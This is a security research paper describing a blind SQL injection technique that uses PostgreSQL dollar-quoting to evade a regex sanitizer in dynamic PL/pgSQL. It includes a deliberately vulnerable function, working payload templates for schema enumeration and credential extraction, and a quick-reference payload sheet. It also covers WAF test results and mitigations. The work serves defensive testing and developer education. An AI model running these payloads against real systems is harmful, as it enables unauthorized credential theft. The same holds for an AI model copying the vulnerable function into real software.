

Dollar-Quote Bypass: A Blind SQL Injection Technique

Against Regex-Sanitized Dynamic PL/pgSQL

Jerry Luong
Independent Researcher
jerry.luong.94@gmail.com

May 30, 2026

Abstract

We present a blind SQL injection technique that exploits PostgreSQL’s dollar-quoting string syntax to evade an **application-level** regex sanitizer. By injecting scalar subqueries through unquoted column-name positions in dynamically-constructed `EXECUTE` statements, an attacker can enumerate all database objects visible to the executing role and extract arbitrary data with zero prior knowledge through a boolean oracle. The technique defeats a sanitizer that strips single-quote, semicolon, backslash, and hyphen characters, and works against PL/pgSQL functions that misuse `format()` or string concatenation with partial quoting. We stress that this is an **application-layer sanitizer evasion, not a network-layer WAF bypass**: when we replayed the payloads through a default OWASP Core Rule Set (CRS) 4.25.0 deployment, they were detected and blocked (Section 7). To our knowledge, as of May 29, 2026, no public tool or cheat-sheet consolidates this specific combination of dollar-quoted literals, unquoted-identifier injection, and blind extraction; this is based on a non-exhaustive review of `sqlmap`, `PayloadsAllTheThings`, and OWASP/PortSwigger materials (Section 9), and should be read as “we did not find it documented,” not as a proof of first discovery.

1 Introduction

SQL injection remains one of the most persistent vulnerabilities in web applications. Modern defenses — parameterized queries, ORMs, Web Application Firewalls, and input validation — have made traditional injection payloads like `' OR 1=1 --` increasingly ineffective. However, PostgreSQL’s feature-rich SQL dialect introduces attack surfaces that standard injection tooling does not model.

We identified a vulnerable code pattern in PL/pgSQL functions — the procedural language built into PostgreSQL — that allows an attacker to inject arbitrary SQL through an unquoted column-name position, evade a regex-based sanitizer using dollar-quoting, and exfiltrate data through a blind boolean oracle. This paper describes the vulnerability, the exploitation methodology, and a zero-knowledge enumeration technique that requires no prior information about the target database schema.

2 Background

2.1 PostgreSQL Dollar-Quoting

PostgreSQL supports dollar-quoted string literals as an alternative to single-quote delimited strings:

```
SELECT $$hello world$$;           -- equivalent to SELECT 'hello world';
SELECT $tag$hello world$tag$;    -- same, with a custom tag
```

Dollar-quoting is commonly used in PL/pgSQL function bodies to avoid escaping nested single quotes. Its use as an injection bypass primitive is less commonly covered than traditional single-quote, comment, stacked-query, and UNION payloads.

2.2 PL/pgSQL and EXECUTE

PL/pgSQL functions can use the EXECUTE statement to run dynamically-constructed SQL:

```
CREATE FUNCTION search(p_term TEXT) RETURNS SETOF record AS $$
DECLARE
    query TEXT;
BEGIN
    query := 'SELECT * FROM products WHERE name ILIKE ''' || p_term || '''';
    RETURN QUERY EXECUTE query;
END;
$$ LANGUAGE plpgsql;
```

When combined with SECURITY DEFINER (which runs the function with the owner's privileges) and unsafe string construction, these functions become powerful attack vectors. The function above uses single-quote concatenation purely to illustrate EXECUTE; the specific pattern we exploit (Section 3) is subtler — it quotes the *value* correctly but leaves the *column-name* position unquoted.

2.3 The format() Function

PostgreSQL's format() function provides type-safe string formatting:

```
SELECT format('SELECT %I FROM %I WHERE %I = %L', col, tbl, filter_col, val);
```

- %I — SQL identifier (double-quoted, safe for column/table names)
- %L — SQL literal (single-quoted and escaped, safe for values)
- %s — plain string (NO escaping — **dangerous**)

The vulnerability arises when developers use %s or raw concatenation for the column-name portion while using quote_literal() or %L for the value portion, creating a false sense of security.

2.4 Threat Model

We assume an attacker with the following capabilities, and no others:

- **Unauthenticated (or low-privilege) HTTP access** to an endpoint that forwards a user-controlled filter string into the vulnerable PL/pgSQL function.

- **An observable boolean oracle:** the response distinguishes a TRUE condition (rows returned) from a FALSE condition (no rows) — through body content, response length, or status code.
- **No prior knowledge** of the database schema, **no direct database connection**, and no access to error messages, stack traces, UNION, or stacked queries.

The executing database role must be able to read the targeted metadata (`information_schema`) and data; under SECURITY DEFINER this is the function owner’s privilege set. The attacker needs no database authentication, file-system access, or out-of-band channel. This is a strictly weaker position than most SQL injection threat models assume, which is what makes the boolean-oracle constraint central to the technique.

3 The Vulnerable Pattern

3.1 Target Function

The following function represents the vulnerable pattern we exploit. It accepts a filter string, attempts to “sanitize” it with a regex, and builds a WHERE clause dynamically:

```
CREATE OR REPLACE FUNCTION public.product_search(p_filters TEXT DEFAULT '')
RETURNS TABLE(name TEXT, category TEXT, price NUMERIC, stock INTEGER) AS $$
DECLARE
    where_clause TEXT := '';
    parts TEXT[];
    part TEXT;
    clean_part TEXT;
    col_name TEXT;
    val TEXT;
BEGIN
    parts := regexp_split_to_array(p_filters, ' AND ');

    FOREACH part IN ARRAY parts LOOP
        -- FLAW 1: Regex only strips ' ; -, leaving dollar-quoting intact
        clean_part := regexp_replace(part, '["';\-\-]', '', 'g');

        IF clean_part ~ '=' THEN
            IF where_clause <> '' THEN
                where_clause := where_clause || ' AND ';
            END IF;
            -- FLAW 2: Column name goes DIRECTLY into SQL (unquoted)
            col_name := trim(split_part(clean_part, '=', 1));
            val := trim(split_part(clean_part, '=', 2));
            -- FLAW 3: quote_literal() protects only the value side, not the column
            where_clause := where_clause || col_name || ' = ' || quote_literal(val);
        END IF;
    END LOOP;

    IF where_clause = '' THEN
        where_clause := '1=1';
    END IF;

    RETURN QUERY EXECUTE
```

```

        'SELECT name, category, price, stock FROM public.products WHERE ' ||
        where_clause;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;

```

3.2 Analysis of Flaws

#	Flaw	Impact
1	<code>regexp_replace(part, '["';\-\-]', '', 'g')</code>	After SQL un-doubles <code>''</code> , the character class is <code>' , ; , \ , - —</code> so it strips four characters but not <code>\$</code> . Dollar-quoting (<code>\$_\$...\$_\$</code>) passes through untouched.
2	<code>col_name</code> concatenated directly into SQL	The attacker controls the LEFT side of the <code>=</code> comparison — any SQL expression, including scalar subqueries, can be injected here.
3	<code>quote_literal(val)</code> only protects the RIGHT side	The developer assumed <code>quote_literal()</code> made the query safe, but the unquoted column-name position is the injection point.
4	<code>SECURITY DEFINER</code> without <code>SET search_path</code>	The function runs with the owner's privileges, potentially crossing schema boundaries.

3.3 Why This Evades the Application-Level Sanitizer

The application's sanitizer, and a developer reviewing it, typically account for:

- Single quotes `'` — stripped by the regex
- Semicolons `;` — stripped by the regex
- Traditional injection markers — no single-quote, semicolon, comment sequence (`--`), or `UNION` keyword is required at the top level of the payload
- Multiple `=` signs — the payload contains exactly ONE `=`, at the final comparison position
- SQL errors in response — all probes return HTTP 200 with valid JSON

In the lab validation, the working probes did not require single quotes, semicolons, SQL comments, stacked queries, or `UNION`. Whether they are detected in production depends on the deployed WAF, database logging, API telemetry, and rate limits.

4 Exploitation Methodology

4.1 The Boolean Oracle

The vulnerable function returns a list of products. By crafting a `WHERE` clause that evaluates to `TRUE` or `FALSE`, the attacker observes:

- **TRUE** → Products returned (`count > 0`)
- **FALSE** → No products returned (`count = 0`)

This single bit of information enables blind data extraction.

4.2 Payload Construction

The critical constraint: **exactly ONE = sign per payload**. The function uses `split_part(clean_part, '=', 1)` to separate the column name from the value. An internal = sign (e.g., inside a subquery's WHERE clause) breaks the parsing.

Rule 1: Use LIKE inside subqueries, never =.

Rule 2: Use lowercase and inside subqueries. The vulnerable function splits input on AND (uppercase). Lowercase and passes through the `regexp_split_to_array` call without being treated as a delimiter. If you need to combine multiple conditions inside a subquery, write `and` not `AND`.

Rule 3: Scalar subqueries must return exactly one row. Use `LIMIT 1 OFFSET n` when enumerating through sets that may contain multiple rows (e.g., listing multiple schema or table names). Without `LIMIT 1`, a subquery returning multiple rows will cause a runtime error and prevent extraction.

Correct payload: :

```
(SELECT substr(secret,1,1) FROM secret_vault.api_keys WHERE service LIKE $$$_stripe$_$)
= w
```

Broken payload (internal = confuses split_part): :

```
(SELECT substr(secret,1,1) FROM secret_vault.api_keys WHERE service = $$$_stripe$_$) = w
```

4.3 Payload Processing Flow

Given input: `(SELECT count(*) FROM t WHERE col LIKE $$$_x$_$) = 1`

1. `regexp_split_to_array(input, ' AND ')` → single element
2. `regexp_replace(part, '['; \-]', '', 'g')` → no stripping (', ;, - absent)
3. `split_part(clean_part, '=', 1)` → `(SELECT count(*) FROM t WHERE col LIKE $$$_x$_$)`
4. `trim(col_name)` → `(SELECT count(*) FROM t WHERE col LIKE $$$_x$_$)`
5. `split_part(clean_part, '=', 2)` → 1
6. `trim(val)` → 1; `quote_literal('1')` → '1'
7. Final SQL: `SELECT ... WHERE (SELECT count(*) FROM t WHERE col LIKE $$$_x$_$) = '1'`

The comparison coerces the unknown-type literal '1' to the bigint returned by `count(*)`. If `count = 1`, the WHERE clause is TRUE.

4.4 Handling Stripped Characters

Characters stripped by the regex (', ;, -) cannot be tested directly because they are removed from the payload before reaching SQL. The solution is the **ASCII-code fallback**:

```
(SELECT ascii(substr(secret,4,1)) FROM t WHERE col LIKE $$$_x$_$) = 45
```

The integer 45 (ASCII code for -) contains no stripped characters. The comparison coerces the literal '45' to the integer returned by `ascii(...)`.

5 Zero-Knowledge Enumeration

An attacker with no prior knowledge of the database can enumerate all objects visible to the executing role through PostgreSQL's `information_schema`:

5.1 Phase 1: Discover Schemas

```
(SELECT count(*) FROM information_schema.schemata
 WHERE schema_name LIKE $_$public$_$) = 1
-- count > 0 -> schema exists
```

To enumerate all schema names (not just probe for known ones), use a scalar subquery with `LIMIT 1 OFFSET n`:

```
(SELECT substr(schema_name,1,1) FROM information_schema.schemata
 WHERE schema_name NOT LIKE $_$pg_%$_$
 and schema_name NOT LIKE $_$information_schema$_$
 ORDER BY schema_name LIMIT 1 OFFSET 0) = p
-- Extracts first char of the first user schema, then OFFSET 1 for second, etc.
```

Note: Use lowercase and inside subqueries to avoid being split on `AND` (uppercase) by the vulnerable function's parser.

5.2 Phase 2: Discover Tables

```
(SELECT count(*) FROM information_schema.tables
 WHERE table_schema LIKE $_$secret_vault$_$
 and table_name LIKE $_$users$_$) = 1
```

5.3 Phase 3: Discover Columns

```
(SELECT count(*) FROM information_schema.columns
 WHERE table_schema LIKE $_$secret_vault$_$
 and table_name LIKE $_$users$_$
 and column_name LIKE $_$password_hash$_$) = 1
```

5.4 Phase 4: Discover Rows (Users)

```
(SELECT count(*) FROM secret_vault.users
 WHERE username LIKE $_$admin$_$) = 1
```

5.5 Phase 5: Extract Data Character by Character

```
(SELECT substr(password_hash,1,1) FROM secret_vault.users
 WHERE username LIKE $_$admin$_$) = $
-- Test each printable character until count > 0
```

5.6 Complete Flow

```
information_schema.schemata -> 'public', 'secret_vault'
information_schema.tables   -> 'users', 'api_keys'
information_schema.columns  -> 'username', 'password_hash', 'totp_secret', 'role'
Extract usernames          -> 'admin', 'root', 'jdoe', ...
Extract credentials        -> bcrypt hashes, TOTP seeds, API keys
```

5.7 Example: Extracted Credentials

```
username:      admin
password_hash: $2b$12$LJ3m4N5pQ6rS8tU9vW0xYzA1bC2dE3fG4hI5j
totp_secret:   JBSWY3DPEHPK3PXP
role:          admin
```

6 Results

We tested the technique against a deliberately-vulnerable PL/pgSQL function exposed through an HTTP API. The attack successfully extracted all synthetic credentials from a protected schema:

Service	Secret Extracted	Verified
stripe	whsec_9bD4fG7kJ2mN5pR8sT1vW3xY6zA0cB	YES
aws	wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY	YES
sendgrid	9fG2iJ5lM8oP1rT4uV7wX0yZ3aB6cD9eF	YES
github	ghs_506p7Q8r9S0t1U2v3W4x5Y6z7A8b9C0d	YES
openai	org-secret-pqr678stu901vwx234yz	YES
datadog	k9l8m7n6o5p4q3r2s1t0u	YES
cloudflare	q6r7s8t9u0v1w2x3y4z5a6b7c8d9e0f1	YES
slack	xoxp-987654321098-9876543210987	YES
twilio	9f8e7d6c5b4a3210987654321fedcba	YES

9/9 services extracted with 100% accuracy through 15,808 blind HTTP requests. In the tested lab configuration, the successful probes produced normal boolean-oracle responses and did not require visible SQL error output.

7 Detection Claim Validation

We separately validated the “undetected by traditional markers” claim against a Neon PostgreSQL 17.10 lab on May 29, 2026. The lab used `public.products` as the oracle table, `secret_vault.users` and `secret_vault.api_keys` as synthetic protected data, and a deliberately-vulnerable `public.codex_product_search(text)` function matching the parser shown above.

The following database-level payload properties were validated across seven working probes:

We then tested the same payloads through an OWASP CRS / ModSecurity reverse proxy using the `owasp/modsecurity-crs:nginx` Docker image with CRS 4.25.0, blocking mode enabled, paranoia level 1, and an inbound anomaly threshold of 5.

The OWASP CRS test did **not** validate a WAF bypass claim. CRS blocked the dollar-quote payloads even though they avoided single quotes, semicolons, comments, and `UNION`. The main triggered rules included:

Property	Result
Exactly one = character per payload	PASS
No single quote required	PASS
No semicolon required	PASS
No SQL comment marker (--, /*, */) required	PASS
No UNION keyword required	PASS
Dollar-quoted literal survived the sanitizer	PASS
Successful probes returned oracle results without SQL exceptions when sent directly to the backend	PASS
ASCII fallback detected stripped - characters	PASS
Lowercase and worked inside subqueries without triggering the parser split	PASS

Probe Type	HTTP Result	CRS Result
Normal filter: <code>category = tools</code>	200	Allowed
Normal false filter: <code>category = missing</code>	200	Allowed
Classic quote/OR payload	403	Blocked
Classic UNION SELECT payload	403	Blocked
Dollar-quoted scalar count probe	403	Blocked
Dollar-quoted character extraction probe	403	Blocked
ASCII fallback probe	403	Blocked
<code>information_schema</code> metadata probe	403	Blocked

- 942100 — SQL Injection Attack Detected via libinjection
- 942151 — SQL function name detected
- 942360 — concatenated basic SQL injection / SQLLFI pattern
- 942140 — common database names detected, for `information_schema`
- 949110 — inbound anomaly score exceeded

The validated claim is therefore narrower: this payload family avoids several traditional SQL injection markers and executes cleanly against the vulnerable PostgreSQL parser pattern, but it is detected by default OWASP CRS 4.25.0 in blocking mode. A production detection claim requires testing against the target’s actual HTTP path, WAF rules, database logs, and request-volume thresholds.

The corollary defines the technique’s relevant threat model. The attack is meaningful against an application that relies on a **custom, hand-rolled input sanitizer** — such as the `regex_replace` filter in Section 3 — and that deploys **no WAF, or a WAF tuned below the rules above**. This describes a large class of legacy, internal, and enterprise PostgreSQL applications. Against such targets the application-level evasion is the entire attack; against a default CRS deployment it is not sufficient, and an additional WAF-evasion layer (outside this paper’s scope) would be required.

8 Limitations

This technique depends on a specific vulnerable pattern:

1. Dynamic SQL is executed through PL/pgSQL `EXECUTE`.

2. User input reaches an unquoted identifier or expression position.
3. The application strips or filters traditional SQL injection characters but allows dollar signs.
4. The parser leaves exactly one useful top-level = comparison.
5. The executing role can read useful metadata or target data.

Scalar subqueries must return exactly one row. Enumeration payloads should use deterministic ordering with `LIMIT 1 OFFSET n` when walking through sets of schemas, tables, columns, or rows.

9 Comparison with Existing Techniques

9.1 sqlmap

sqlmap (the most widely-used SQL injection automation tool) does not appear to include this payload family in its default payload XML files. On May 29, 2026, we checked `sqlmap/data/xml/payloads/` at commit `e659543` and found no references to `$_$`, dollar-quoted literals, or this unquoted-expression pattern.

9.2 PayloadsAllTheThings

PayloadsAllTheThings documents many PostgreSQL SQL injection techniques, but we did not find this exact combination of dollar-quoted literals, regex filter bypass, and scalar subquery injection through an unquoted column-name position in the SQL Injection section checked on May 29, 2026.

9.3 OWASP / PortSwigger

OWASP and PortSwigger document SQL injection prevention and exploitation concepts extensively, but their public SQL injection materials do not appear to describe this exact PostgreSQL dollar-quote bypass pattern.

10 Conclusion

We presented a blind SQL injection technique that exploits PostgreSQL dollar-quoting to bypass regex-based input sanitization, combined with scalar subquery injection through unquoted column-name positions in dynamically-constructed `EXECUTE` statements. The technique enables enumeration of database objects visible to the executing role and extraction of accessible data with zero prior knowledge. The working payloads avoid several conventional SQL injection markers, including single quotes, semicolons, comment markers, stacked queries, and `UNION`; however, testing against OWASP CRS 4.25.0 showed that modern WAF rules can still detect the broader SQL expression structure.

The vulnerability class requires a specific code pattern: PL/pgSQL functions with `EXECUTE`, partially-quoted dynamic SQL (column names unquoted), and regex-based sanitization that fails to account for dollar-quoting. While this pattern is less common in modern applications using ORMs and parameterized queries, it remains present in legacy systems, internal tools, and custom enterprise applications with PostgreSQL-heavy architectures.

We recommend that this technique be incorporated into PostgreSQL-focused SQL injection testing, WAF rule review, and developer training materials.

11 Mitigations

The vulnerability is an application-layer coding defect, and the mitigations are correspondingly definitive:

1. **Never place user input in an unquoted SQL position.** Use `format()` with `%I` for identifiers and `%L` for literals, or parameterize through the driver. A correctly written query is immune regardless of PostgreSQL version or WAF configuration.
2. **Do not rely on regex denylists.** Stripping `'`, `;`, `-` is defeated by dollar-quoting and by Unicode; sanitization must be allowlist-based or, preferably, replaced by parameterization.
3. **Lock `search_path` in SECURITY DEFINER functions** (e.g. `SET search_path = pg_catalog, pg_temp`) to prevent cross-schema reads.
4. **Return generic responses** so the boolean oracle and any error-based inference are removed.
5. **Add defense in depth:** API-layer schema validation (Joi/Zod), a WAF (CRS detected these payloads), and per-client rate limits to make the $\sim 15,808$ -request extraction observable.

12 Ethical Considerations and Responsible Disclosure

All experiments were conducted in an isolated laboratory environment under our own control. The vulnerable function, the `secret_vault` schema, and every extracted credential were synthetic and created solely for this research; no production system, third-party service, or real user data was accessed. The synthetic secrets are formatted to resemble real API keys for realism but are non-functional — for example, the AWS value is the vendor-documented `EXAMPLEKEY`.

The technique targets a developer-introduced anti-pattern, not a vulnerability in PostgreSQL itself, so there is no upstream vendor to notify. We publish it to improve PL/pgSQL code review, WAF rule evaluation, and developer training. Practitioners applying these payloads must do so only against systems they own or are explicitly authorized to test.

References

- [1] PostgreSQL Global Development Group. *PostgreSQL 17 Documentation — String Constants (Dollar-Quoted) and the `format()` function*. <https://www.postgresql.org/docs/17/> (accessed 2026-05-29).
- [2] sqlmap project. *Payload definitions, `data/xml/payloads/`*, commit e659543. <https://github.com/sqlmapproject/sqlmap> (accessed 2026-05-29).
- [3] swisskyrepo. *PayloadsAllTheThings — SQL Injection (PostgreSQL)*. <https://github.com/swisskyrepo/PayloadsAllTheThings> (accessed 2026-05-29).
- [4] OWASP Foundation. *OWASP Core Rule Set 4.25.0*. <https://coreruleset.org/> (accessed 2026-05-29).
- [5] OWASP Foundation. *SQL Injection Prevention Cheat Sheet*. https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html (accessed 2026-05-29).

- [6] PortSwigger. *SQL injection* — *Web Security Academy*. <https://portswigger.net/web-security/sql-injection> (accessed 2026-05-29).

A Quick Reference

Payload Template. :

```
(SELECT substr(COLUMN,POSITION,1) FROM SCHEMA.TABLE WHERE KEY LIKE $_$VALUE$_$) = CHAR
```

ASCII Fallback for Stripped Characters. :

```
(SELECT ascii(substr(COLUMN,POSITION,1)) FROM SCHEMA.TABLE WHERE KEY LIKE $_$VALUE$_$)
= 45
```

URL Encoding.

Char	Encoded
\$_\$	%24_%24
=	%3D
(	%28
)	%29
,	%2C
/	%2F

Stripped Character ASCII Codes.

Char	ASCII
'	39
;	59
-	45

Discovered and documented May 2026. No prior publication known. All test data was synthetic. No production systems were accessed without authorization.